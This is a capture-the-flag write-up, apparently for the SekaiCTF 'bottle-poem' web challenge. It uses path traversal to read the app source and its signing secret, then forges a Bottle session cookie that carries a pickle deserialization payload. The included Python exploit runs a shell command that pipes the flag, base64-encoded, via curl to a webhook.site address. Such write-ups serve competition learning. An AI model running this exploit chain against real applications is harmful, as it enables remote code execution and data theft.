Rating: 5.0

LFI: http://bottle-poem.ctf.sekai.team/show?id=/app/app.py /sign url uses some secret to create digital signature of a user session. http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py reveals that secret. So, now we can create our own customized sessions. Viewing the src code of bottle:

def cookie_encode(data, key):
    ''' Encode and sign a pickle-able object. Return a (byte) string '''
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg

There is usage of the pickle package which is vulnurable and allows RCE on deserialization.

The full code:

import base64
import hashlib
import hmac
import pickle
import requests

sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
unicode = str


def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)


def touni(s, enc='utf8', err='strict'):
    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)


def cookie_encode(data, key):
    ''' Encode and sign a pickle-able object. Return a (byte) string '''
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg


class PickleRce(object):
    def __reduce__(self):
        return eval, ("os.system('curl https://webhook.site/REDACTED?p=`exec /flag | base64`')",)


payload = touni(cookie_encode(("name", {"name": PickleRce()}), sekai))
requests.get("http://bottle-poem.ctf.sekai.team/sign", cookies={"name": f"\"{payload}\""})